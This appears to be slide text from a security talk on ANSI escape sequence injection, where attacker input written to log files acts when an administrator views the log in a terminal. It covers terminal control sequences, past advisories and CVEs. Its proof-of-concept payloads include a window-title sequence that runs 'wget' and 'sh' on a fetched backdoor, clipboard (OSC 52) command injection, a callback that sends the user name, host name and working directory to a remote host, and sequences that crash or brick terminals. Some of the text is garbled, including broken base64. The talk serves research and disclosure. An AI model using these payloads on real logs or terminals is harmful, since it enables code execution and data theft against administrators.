STÖK
LOGS ARE A VITAL COMPONENT FOR: MAINTAINING APPLICATION RELIABILITY, PERFORMANCE, AND SECURITY.

+ LOGS DONT LIE, PEOPLE DO..
DO YOU TRUST EM?
WHAT HAPPENS IF YOU DON’T?
POC OF A CREATIVE RANSOMWARE AD INSIDE A LOGFILE

GAME OVER!
AI POWERED!
RANSOM
ORDER NOW
RESTORE 2000

All your backups are belong to us!

Your Data is safe with us! 24H FAST RESTORE SERVICE!
Need some help you do the math? Here's a calculator

POC OF A CREATIVE RANSOMWARE AD INSIDE A LOGFILE
CLOUD CLI

Droplet Console
Use the Droplet Console for terminal-like terminal access to your Droplet from your browser. Here is the list of supported OSes for this new console:

Launch Droplet Console

Recovery Console
Use the Recovery Console if you need to use the recovery ISO or you can connect to your Droplet with the Droplet Console. To use the recovery console, you must enable password authentication. If necessary, you can reset your root password below.

Launch Recovery Console
CSI > Psc
Send Device Attributes (Secondary DA).

\[ Ps = 0 \text{ or omitted} \Rightarrow \text{request the terminal’s identification code. The response depends on the decTerminalID resource setting. It should apply only to VT220 and up, but xterm extends this to VT100.} \]

\[ \rightarrow \text{CSI > Pp ; Pv ; Pc c} \]
where \( Pp \) denotes the terminal type

\[ Pp = 0 \Rightarrow \text{"VT100".} \]
\[ Pp = 1 \Rightarrow \text{"VT220".} \]
\[ Pp = 2 \Rightarrow \text{"VT240" or "VT421".} \]
\[ Pp = 18 \Rightarrow \text{"VT30".} \]
\[ Pp = 19 \Rightarrow \text{"VT340".} \]
\[ Pp = 24 \Rightarrow \text{"VT320".} \]
\[ Pp = 32 \Rightarrow \text{"VT382".} \]
\[ Pp = 41 \Rightarrow \text{"VT420".} \]
\[ Pp = 61 \Rightarrow \text{"VT510".} \]
\[ Pp = 64 \Rightarrow \text{"VT520".} \]
\[ Pp = 65 \Rightarrow \text{"VT525".} \]

and \( Pv \) is the firmware version (for xterm, this was originally the XFree86 patch number, starting with 95). In a DEC terminal, \( Pc \) indicates the ROM cartridge registration number and is always zero.

\[ \text{CSI Ps d Line Position Absolute \ [row] (default = [1,column]) (VPA).} \]

\[ \text{CSI Ps e Line Position Relative \ [rows] (default = [row+1,column]) (VPR).} \]

\[ \text{CSI Ps ; Ps f Horizontal and Vertical Position \ [row;column] (default = [1,1]) (HVP).} \]

\[ \text{CSI Ps g Tab Clear (TBC). ECMA-48 defines additional codes, but the VT100 user manual notes that it ignores other codes. DEC’s later terminals (and xterm) do the same, for compatibility.} \]

\[ Ps = 0 \Rightarrow \text{Clear Current Column (default).} \]
\[ Ps = 3 \Rightarrow \text{Clear All.} \]

\[ \text{CSI Pm h Set Mode (SM).} \]

\[ Ps = 2 \Rightarrow \text{Keyboard Action Mode (KAM).} \]
BASICS
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
TOMATO - TOMATO

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007' - OCTAL
Printf 'Hello \x1b[32mTHIS IS GREEN\x1b[0m\x07' - HEX
Printf 'Hello \u001b[32mTHIS IS GREEN\u001b[0m\u0007' - UNICODE
Printf 'Hello \27[32mTHIS IS GREEN\27[0m\7' - DECIMAL
Printf 'Hello \e[32mTHIS IS GREEN\e[0m\a' - ASCII
BASH = OCTAL
PYTHON = HEX
JAVA / JS = UNICODE
POWERSHELL= DECIMAL
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

NUMBER = COLOR

PARAMETER 32=GREEN
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
CSI Pm m Character Attribute
Ps = 3 2 → Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
NUMBER = COLOR

CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

PARAMETER 0=RESET
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN
THIS IS ALSO GREEN
HULK SMAAAAAAASH
CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN\033[0m\007'
Hello THIS IS GREEN

DING!
printf '\e[31mESC-INJECTION:\e[32mSUCCESSFUL\e[0m' > badlog.log
vim badlog.log

~
~^[31mESC-INJECTION:^^[32mSUCCESSFUL^[0m^[
VIM

```
~ ^[[31mESC-INJECTION:^[[32mSUCCESSFUL^[0m^[0m
```
ESC-INJECTION: SUCCESSFUL
<html>
<head>
<title>\x1b[31mESC-INJECTION: \x1b[32mSUCCESSFUL \x1b[0m\x1b[31m1337;RequestAttention=fireworks\x1b[0m</title>
</head>
<body>
<h1>This site contains non malicious ANSI Escape sequences</h1>
</body>
</html>
> cat *.log
ESC-INJECTION: SUCCESSFUL
>
> grep INJEC -r ./
  ./badlog.log:ESC-INJECTION:SUCCESSFUL
>
Awk

```bash
> awk '{print $1}' badlog.log
ESC-INJECTION: SUCCESSFUL
>
```
terminal curl https://terminalinjection.com
terminal curl https://terminalinjection.com

<html>
<head>
<title>ESC-INJECTION: SUCCESSFUL</title>
</head>
<body>

<h1>This site contains non malicious ANSI Escape sequences</h1>

</body>
</html>
nslookup

> set q=TXT
> evil.terminalinjection.com
Server: 198.18.11.221
Address: 198.18.11.221#53

Non-authoritative answer:
evil.terminalinjection.com  text = "\001\31mESC-INJECTION-UNICODE:\001\32mSUCCESSFUL\001\0m\0007"
evil.terminalinjection.com  text = "\027\32mESC-INJECTION-RAW:\027\31mSUCCESSFUL\027\0m\007"

Authoritative answers can be found from:
>
NOT ON WINDOWS.

BIGUPS TO DAVID!
IS THIS EVEN A SECURITY ISSUE?
WHERE?
WHO?
HOW?

WOULD THIS BE AN ISSUE?
WHAT?

CONSEQUENCES
Affected versions of this package are vulnerable to Arbitrary Code Injection. There is a possible shell-escape sequence injection vulnerability in Rack's Lint and CommonLogger components. Carefully crafted requests can cause shell escape sequences to be written to the terminal via Rack's Lint middleware and CommonLogger middleware. These escape sequences can be leveraged to possibly execute commands in the victim's terminal.

Hello THIS IS GREEN
DEVOPS
SYSADMINS
IR / FORENSIC
WHO?
INTERACT WITH LOGFILES USING A TERMINAL
Log injection vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection)
2. Injection of XSS attacks, hoping that the malicious log event is viewed in a vulnerable web application
3. Injection of commands that parsers (like PHP parsers) could execute

https://owasp.org/www-community/attacks/Log_Injection
Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection)
2. Injection of escape sequence hoping that the malicious log event is viewed in a terminal emulator
3. Injection of commands that a terminal emulator could execute

Log injection vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection)
2. Injection of XSS attacks, hoping that the malicious log event is viewed in a vulnerable web application
3. Injection of commands that parsers (like PHP parsers) could execute
docker attach <containerid>
docker logs --follow <containerid>

Failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET /tutorial/blah HTTP/1.1", host: "127.0.0.1"
printf \033[31mESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033
printf '\033[31mESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033'

/\040a\077%1B%5B31mESC-INJECTION-LFURLENCODED:\077%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a
Printf '\033[31mTHIS IS RED:\033[32mTHIS IS GREEN\033[0m\007'
Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection) ✓
2. Injection of escape seq hoping that the malicious log event is viewed in a terminal emulator ✓
3. Injection of commands that could execute ✓

ENOUGH FOR A POC
[ Test Emulator Versions ]

<table>
<thead>
<tr>
<th>Emulator</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>xterm</td>
<td>xf86 4.2.0       (patch 165)</td>
</tr>
<tr>
<td>xterm</td>
<td>0.42</td>
</tr>
<tr>
<td>rxvt</td>
<td>2.7.8</td>
</tr>
<tr>
<td>Eterm</td>
<td>0.9.1</td>
</tr>
<tr>
<td>konsole</td>
<td>3.1.0 rc5</td>
</tr>
<tr>
<td>putty</td>
<td>0.53</td>
</tr>
<tr>
<td>SecureCRT</td>
<td>3.4.6</td>
</tr>
<tr>
<td>gnome-terminal</td>
<td>2.0.2 (libzvt 2.0.1) [2.2 indirectly]</td>
</tr>
<tr>
<td>hanterm-xf</td>
<td>2.0</td>
</tr>
</tbody>
</table>

[Vulnerability Index]

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE candidate names for all issues described in this paper.

CAN-2003-0020 Apache Error Log Escape Sequence Injection

CAN-2003-0021 Screen Dump: Eterm
CAN-2003-0022 Screen Dump: rxvt

CAN-2003-0063 Window Title Reporting: xterm
CAN-2003-0064 Window Title Reporting: dterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-2003-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-2003-0070 Window Title Reporting: gnome-terminal
CAN-2003-0071 Window Title Reporting: hanterm-xf

CAN-2003-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf

CAN-2003-0023 Menu Bar Manipulation: rxvt
CAN-2003-0024 Menu Bar Manipulation: aterm
OSC $P_s$ ; $P_t$ ST

$P_s = 2 \Rightarrow \text{Change Window Title to } P_t$. 

https://marc.info/?l=bugtraq&m=104612710031920&q=p3
2003 - H D MOORE

```powershell
PS C:\Users\stok> write-host "$([char]0x1b)2;owned?"$([char]0x07)"
PS C:\Users\stok>
```

https://marc.info/?l=bugtraq&m=104612710031920&q=p3
<table>
<thead>
<tr>
<th>Code</th>
<th>Sun</th>
<th>CDE</th>
<th>XTerm</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSI 1</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>de-iconify</td>
</tr>
<tr>
<td>CSI 2</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>iconify</td>
</tr>
<tr>
<td>CSI 3</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>move window to pixel-position</td>
</tr>
<tr>
<td>CSI 4</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>resize window in pixels</td>
</tr>
<tr>
<td>CSI 5</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>raise window to front of stack</td>
</tr>
<tr>
<td>CSI 6</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>raise window to back of stack</td>
</tr>
<tr>
<td>CSI 7</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>refresh window</td>
</tr>
<tr>
<td>CSI 8</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>resize window in chars</td>
</tr>
<tr>
<td>CSI 9</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>maximize/unmaximize window</td>
</tr>
<tr>
<td>CSI 10</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>to/from full-screen</td>
</tr>
<tr>
<td>CSI 11</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>report if window is iconified</td>
</tr>
<tr>
<td>CSI 12</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>CSI 13</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>report window position</td>
</tr>
<tr>
<td>CSI 14</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>report window size in pixels</td>
</tr>
<tr>
<td>CSI 15</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>report screen size in pixels</td>
</tr>
<tr>
<td>CSI 16</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>report character cell in pixels</td>
</tr>
<tr>
<td>CSI 17</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>CSI 18</td>
<td>t</td>
<td>yes</td>
<td>yes</td>
<td>report window size in chars</td>
</tr>
<tr>
<td>CSI 19</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>report screen size in chars</td>
</tr>
<tr>
<td>CSI 20</td>
<td>t</td>
<td>-</td>
<td>yes</td>
<td>report icon label</td>
</tr>
<tr>
<td>CSI 21</td>
<td>t</td>
<td>-</td>
<td>yes</td>
<td>report window title</td>
</tr>
<tr>
<td>CSI 22</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>save window/icon title</td>
</tr>
<tr>
<td>CSI 23</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>restore window/icon title</td>
</tr>
<tr>
<td>CSI 24</td>
<td>t</td>
<td>-</td>
<td>-</td>
<td>resize window (DECSLPP)</td>
</tr>
<tr>
<td>OSC 0 ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set window and icon title</td>
</tr>
<tr>
<td>OSC 1 ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set icon label</td>
</tr>
<tr>
<td>OSC 2 ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set window title</td>
</tr>
<tr>
<td>OSC 3 ST</td>
<td>-</td>
<td>-</td>
<td>n/a</td>
<td>set X server property</td>
</tr>
<tr>
<td>OSC 9 ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set icon to file</td>
</tr>
<tr>
<td>OSC L ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set window title</td>
</tr>
<tr>
<td>OSC L ST</td>
<td>-</td>
<td>-</td>
<td>yes</td>
<td>set icon label</td>
</tr>
</tbody>
</table>

https://marc.info/?l=bugtraq&m=104612710031920&q=p3
CSI $t\rightarrow Report\ Windows\ Title$

$$Ps = 21 \Rightarrow Report\ Windows\ Title$$
2003 - H D MOORE

```powershell
PS C:\Users\stok> write-host "$(char)0x1b]2;owned?$(char)0x07"

PS C:\Users\stok>
```

\033[2;wget 127.0.0.1/.bd;sh .bd;exit;\007\033[21t\033[2; \054 \033[8mPress Enter\033[8m;

CSI  Ps  t
Ps = 21  ⇒ Report Windows Title

https://marc.info/?l=bugtraq&m=104612710031920&q=p3
2003 - H D MOORE

```
write-host "owned?"; if ([char]"\033[0;33m\033[41m\033[0m") { PS C:\Users\stok> } else { PS C:\Users\stok> wget 127.0.0.1/.bd;sh .bd;exit; PS C:\Users\stok> }
```

```
\033[2;\033[0m\33[0;33m\033[41m\033[0m Press Enter
```

```c
CSI Ps t
Ps = 21 ⇒ Report Windows Title
```
GIOVANNI "EVILALIV3" PELLERANO
ALESSANDRO "JEKIL" TANASI
FRANCESCO "ASCII" ONGARO

```
echo -en "GET /\x1b\j2;\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
```

NGINX, VARNISH, CHEROKEE, THTTPD, MINI-HTTPD, WE BRICK, ORION, AOLSERVER, YAWS
AND BOA LOG ESCAPE SEQUENCE INJECTION - 2010-01-10

https://www.ush.it/team/ush/hack_httpd_escape/adv.txt
echo -en "GET /\x1b\]2;\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

NGINX, VARNISH, CHEROKEE, THTTPD, MINI-HTTPD, WEBRICK, AOLSERVER, YAWS AND BOA LOG ESCAPE SEQUENCE INJECTION - 2010-01-10

https://www.ush.it/team/ush/hack_httpd_escape/adv.txt

2010

FIXED!
# Don't Trust This Title: Abusing Terminal Emulators with ANSI Escape Characters

Eviatar Gerzi

```c
printf(\x1b[30;30m\x07", userTitle);
```

\x1b[\x5d\x30\x30\x07 → The start of a title ESC ] 0 .
\x07 → The end of a title.

If the attacker has control of the `userTitle` and can call it multiple times, it can cause DoS.

Here is a summary of our findings in the Windows terminals:

<table>
<thead>
<tr>
<th>App</th>
<th>Category</th>
<th>OS</th>
<th>DoS</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Customized C++ app</td>
<td>Local App</td>
<td>Windows</td>
<td>Yes SetWindowText → affects the whole computer</td>
<td>CVE-2021-33500</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>GdiplusDrawString → affects only the application</td>
<td>Fixed version: 0.75</td>
</tr>
<tr>
<td>PuTTY</td>
<td>Terminal</td>
<td></td>
<td>Yes – the whole computer</td>
<td></td>
</tr>
</tbody>
</table>
**PROPRIETARY ESCAPE CODES**

ESC ] 9 ; 7 ; "cmd" ST

Run some process with arguments.

Using iTerm2 v3’s password manager. Cool!
ADAPTED
TRUSTED
TRUSTED
NICE?
WEAPONIZE!
An error has occurred. Visit https://learn.microsoft.com/KB123Y0LO
To learn more
An error has occurred. Visit https://learn.microsoft.com/KB123YOLO To learn more

NEW ADDITION OF FILE:URI = POTENTIAL FOR FUNSTUFF
SOME TERMINALS GENERATE WARNINGS, OTHERS DONT.
curl 127.0.0.1/hello%1b%5d8%3b%3bhttp%3a%2f%2fevil.terminalinjection.com%07
OSCE

curl 127.0.0.1/hello%1b%5d8%3b%3bhttp%3a%2f%2fevil.terminalinjection.com%07

404 Not Found

nginx/1.23.3
this is fine, trust me.
Terminal

Image support

Images in the terminal, which were previewed last release, are now enabled by default. Images in a terminal typically work by encoding the image pixel data as text, which is written to the terminal via a special escape sequence. The current protocols supported are *sixel* and the inline images protocol pioneered by iTerm.

To test images manually, you can download and `cat a .six` example file from the [libsixel](https://code.visualstudio.com) repository.
MAKES YOU WONDER WHAT THAT LOGFILE CONTAINS?
Clipboard
Nicholas Marriott edited this page on Jun 15, 2022 · 53 revisions

The clipboard

It is common to want to have text copied from tmux’s copy mode or with the mouse in tmux synchronized with the system clipboard. The tools offered to tmux by terminals to do this are quite blunt and not consistently supported. This document gives an overview of how things work and some configuration examples.

There are two possible methods:

- OSC 52 and the `set-clipboard` option.
- Piping to an external tool like `xsel`.

Note that tmux should be restarted entirely (run `tmux kill-server`) after making changes to `.tmux.conf`.

The `set-clipboard` option

How it works

Some terminals offer an escape sequence to set the clipboard. This is one of the operating system control sequences so it is known as OSC 52.

To skip the details and read quick step-by-step instructions on configuring `set-clipboard`, skip to this section.
printf '\033[52;c;base64string\007'

b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK

open -a calculator.app \n
ZSH

ZSH REQUIRES USER INTERACTION (PRESS ENTER)
printf '\033[52;c;base64string\007'
b3BlbiAtYSBjYWxjdWxhdG9yLmFwcAoK

open -a calculator.app

Documents [ ]
The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208950.

bash-3.2$ open -a calculator.app
bash-3.2$
bash-3.2$
printf '\03352;c;c2x1ZXAgMQplY2hvIEh1bGxvICQod2hvYW1pKQoK\007'

sleep1 
echo Hello $(whoami) 
\r\n
DIFFERENT TERMINALS BEHAVE IN DIFFERENT WAYS
\n\n\n\n\ndata:image/svg+xml;base64,PHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGFsZXJ0KCJpbml0aGVsbyIgc3VjY2Vzc2Z1bCIpOwogIDwvc2NyaXB0Pgo8L3N2Zz4=#


curl "http://$(whoami).$(hostname).rcepoc.127.0.0.1.nip.io/$(pwd | base64)"

cmd /c powershell -Command "$URI = 'http://%username%.%computername%.rcepoc.127.0.0.1.nip.io/';Invoke-WebRequest -Uri $URI"
printf \\
'\033[52;c;CgoKCgpkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUIyWlhKemFXOXVQU0l4TGpFaUlHSmhjMlZRY205bWFXeGxQU0ptZFd4c0lpQjRiV3h1Y3owaWFIUjBJR92TDnkM2R5NTNNeTV2Y2l1jdk1qQXdNQz16ZGljaVBnb2dJRhh6WTNKcGNIUWdkSGx3WlQwaWRHVjRkQz1xWVhaaGMyTnlhWEIwSWo0S0lDQWdJR0ZzWlhKMEtDSnBibXBsWTNScGIyNGdjM1ZqWTJWemMyWjFjQ0lwT3dv20lEd3ZjMk55YVhCMFBnbzhMM04yWno0PSMKCmN1c mwqImh0dHAlLy8kKHdob2FtaSkujChob3N0bmFtZSkucmNlcG9jLjEyNy4wLjAuMS5uaW8vJztJbnZva2UtV2ViUmVxc2UvXzVxc2UvX29jZC4=\\n\007' > badlog.log
MESS THINGS UP!
printf '\033[H\007' - Moves cursor to home position (0, 0)
printf '\033[1337;ClearScrollback\007' - Clears scrollback (iterm)
Printf '\033[2J\007' - Erase entire screen

https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797
Cleans the log every time it renders.
Dictionary
Definitions from Oxford Languages · Learn more

verbose

1. make (someone) a little angry; irritate.
   "the decision really annoyed him"

   Similar: irritate vex make angry make cross anger exasperate irk

2. **ARCHAIC**
   harm or attack repeatedly.
   "a gallant Saxon, who annoyed this Coast"
DOS / BRICK
CSI Ps i Media Copy (MC).

- $Ps = 0$ → Print screen (default).
- $Ps = 4$ → Turn off printer controller mode.
- $Ps = 5$ → Turn on printer controller mode.
- $Ps = 10$ → HTML screen dump, xterm.
- $Ps = 11$ → SVG screen dump, xterm.

CSI ? Ps i

Media Copy (MC), DEC-specific.

- $Ps = 1$ → Print line containing cursor.
- $Ps = 4$ → Turn off autoprint mode.
- $Ps = 5$ → Turn on autoprint mode.
- $Ps = 10$ → Print composed display, ignores DECPEX.
- $Ps = 11$ → Print all pages.

CSI Pm l Reset Mode (RM).

- $Ps = 2$ → Keyboard Action Mode (KAM).
- $Ps = 4$ → Replace Mode (IRM).
- $Ps = 12$ → Send/receive (SRM).
- $Ps = 20$ → Normal Linefeed (LNM).

CSI ? Pm l

DEC Private Mode Reset (DECRST).

- $Ps = 1$ → Normal Cursor Keys (DECCKM), VT100.
- $Ps = 2$ → Designate VT52 mode (DECANM), VT100.
- $Ps = 3$ → 80 Column Mode (DECCOLM), VT100.
- $Ps = 4$ → Jump (Fast) Scroll (DECSCLM), VT100.
- $Ps = 5$ → Normal Video (DECS CNM), VT100.
- $Ps = 6$ → Normal Cursor Mode (DECCM), VT100.
POPS A PRINT JOB

CSI Ps i Media Copy (MC).

Ps = 0 → Print screen (default).
Ps = 4 → Turn off printer controller mode.
Ps = 5 → Turn on printer controller mode.
Ps = 10 → HTML screen.
Ps = 11 → SVG screen.

CSI ? Ps i
PRINT STUFF

Printf '\033[0i\007'
Print onscreen stuff

Printf '\033[5i\007'
Send output to printer (BRICK iTerm2)

SENDS ALL OUTPUT TO A NON EXISTING PRINTER
REALLY ANNOYING
Mouse Tracking

The VT widget can be set to send the mouse position and other information on button presses. These modes are typically used by editors and other full-screen applications that want to make use of the mouse.

There are two sets of mutually exclusive modes:

- mouse protocol
- protocol encoding

The mouse protocols include DEC Locator mode, enabled by the DECELR CSI Ps ; Ps ' z control sequence, and is not described here (control sequences are summarized above). The remaining five modes of the mouse are:

- SET_MOUSE_FOCUS
- SET_MOUSE_EXIT
- SET_MOUSE_SCROLL
- SET_MOUSE_HIGHLIGHT
- SET_MOUSE_EXT_MODE

Manifest constants for the parameter values are defined in xterm.h as follows:

```c
#define SET_X10_MOUSE 9
#define SET_VT200_MOUSE 1000
#define SET_VT200_HIGHLIGHT_MOUSE 1001
#define SET_BTN_EVENT_MOUSE 1002
#define SET_ANY_EVENT_MOUSE 1003
#define SET_FOCUS_EVENT_MOUSE 1004
#define SET_ALTERNATE_SCROLL 1007
#define SET_EXT_MODE_MOUSE 1005
#define SET_SGR_EXT_MODE_MOUSE 1006
#define SET_LRXVI_EXT_MODE_MOUSE 1015
#define SET_PIXEL_POSITION_MOUSE 1016
```

The motion reporting modes are strictly xterm extensions, and are not part of any standard, though they are analogous to the DEC VT200 DECELR locator reports.
EVERY SINGLE MOUSE MOVEMENT WILL BE REPORTED
(See discussion of **Title Modes**).

**CSI Ps X** Erase $Ps$ Character(s) (default = 1) (ECH).

**CSI Ps Z** Cursor Backward Tabulation $Ps$ tab stops (default = 1) (CBT).

**CSI Ps ^** Scroll down $Ps$ lines (default = 1) (SD), ECMA-48.
   This was a publication error in the original ECMA-48 5th edition (1991) corrected in 2003.

**CSI Ps \** Character Position Absolute \[column\] (default = \[row,1]\) (HPA).

**CSI Ps a** Character Position Relative \[columns\] (default = \[row,col+1]\) (HPR).

**CSI Ps b** Repeat the preceding graphic character $Ps$ times (REP).

**CSI Ps c** Send Device Attributes (Primary DA).
   $Ps = 0$ or omitted → request attributes from terminal. The response depends on the **decTerminalID** resource setting.
   → **CSI ? 1 ; 2 c** ("VT100 with Advanced Video Option")
   → **CSI ? 1 ; 0 c** ("VT101 with No Options")
   → **CSI ? 4 ; 6 c** ("VT132 with Advanced Video and Graphics")
   → **CSI ? 6 c** ("VT102")
   → **CSI ? 7 c** ("VT131")
   → **CSI ? 1 2 ; Ps c** ("VT125")
   → **CSI ? 6 2 ; Ps c** ("VT220")
   → **CSI ? 6 3 ; Ps c** ("VT320")
REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

printf '✌\033[10;b\007'
REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

printf '✌\033[10;b\007'
✌✌✌✌✌✌✌✌
REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)

1.000.000.000 = ONE BILLION ✌️
REPEAT THE PRECEDING GRAPHIC CHARACTER X TIMES (REP)
DO NOT RUN THIS IN PROD!

THINGS WILL BREAK AND YOU WILL NEED TO CLEAN THE LOGFILES
curl localhost/hello
6 remote code execution CVEs

- iTerm2
  CVE-2022-45872
- Windows Terminal
  CVE-2022-44702
- xterm
  CVE-2022-45063
- Swiftterm
  CVE-2022-23465
- Continu
  CVE-2022-46387
- nxw-unicode
  CVE-2022-4179

BlueHat 2023: Houdini of the Terminal with David Leadbeater

https://www.youtube.com/watch?v=iIHw0KWgzhAs
### CVE-2008-2383 Detail

**MODIFIED**

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

**Description**

CRLF injection vulnerability in xterm allows user-assisted attackers to execute arbitrary commands via LF (aka \n) characters surrounding a command name within a Device Control Request Status String (DECRQSS) escape sequence in a text file, a related issue to CVE-2003-0063 and CVE-2003-0071.

---

**BlueHat 2023: Houdini of the Terminal with David Leadbeater**

[https://www.youtube.com/watch?v=ilHw0KWgzAs](https://www.youtube.com/watch?v=ilHw0KWgzAs)
CVES

This primarily targets Kubect's CVE-2021-25743. It needs to be combined with a terminal vulnerability to have any effect though. Some examples are:

- xterm font OSC (CVE-2022-45063)
  ```
  "\\e\\58;1$\(xcalc6\\a\\e\\58;(?\a"
  ```
- iTerm2 DECROSS (CVE-2022-45872)
  ```
  \"\eP\$q\$\(open \-\rightarrow Calculator\\r\\a\\\eP\$q\$\"
  ```
- ConEmu title (CVE-2022-46387)
  ```
  \"\e[8;\r\calc.exe\r\e\\[21t\n  ```
- Windows Terminal WSL directory (CVE-2022-44702)
  ```
  \"\e[99;\s\calc.exe \s /\e\\"
  ```
- Some colour (not a terminal vulnerability; test for CVE-2021-25743 alone)
  ```
  \"\e[31mIf you see this in red your kubectl is not fixed against CVE-2021-25743\e\[31m"
  ```

The list above contains escape sequences in C-style strings, as this section of the readme is expanded and written to /dev/termination-log, see Dockerfile.

Note the last entry is not a terminal vulnerability, but an attacker could still use it in an attempt to social engineer the administrator, e.g. change something else on screen (cursor movement sequences means they can change lines above where the text is actually output).
It is 60 years since the first publication of the ASCII standard, something we now very much take for granted. ASCII introduced the Escape character; something we still use but maybe don't think about very much. The terminal is a tool all of us use. It's a way to interact with nearly every modern operating system. Underneath it uses escape codes defined in standards, some of which date back to the 1970s.

In this talk I'll look at the history of terminals and then detail the issues I found in half a dozen different terminals. Even Microsoft who historically haven't had strong terminal support didn't escape a CVE. In order to exploit these vulnerabilities they often need to be combined with a vulnerability in something else. I'll cover how to exploit these vulnerabilities in multiple ways.

Overall this research found multiple remote code execution vulnerabilities across nearly all platforms and new unique ways to deliver the exploits.
iTTERM2 DECRQSS RCE

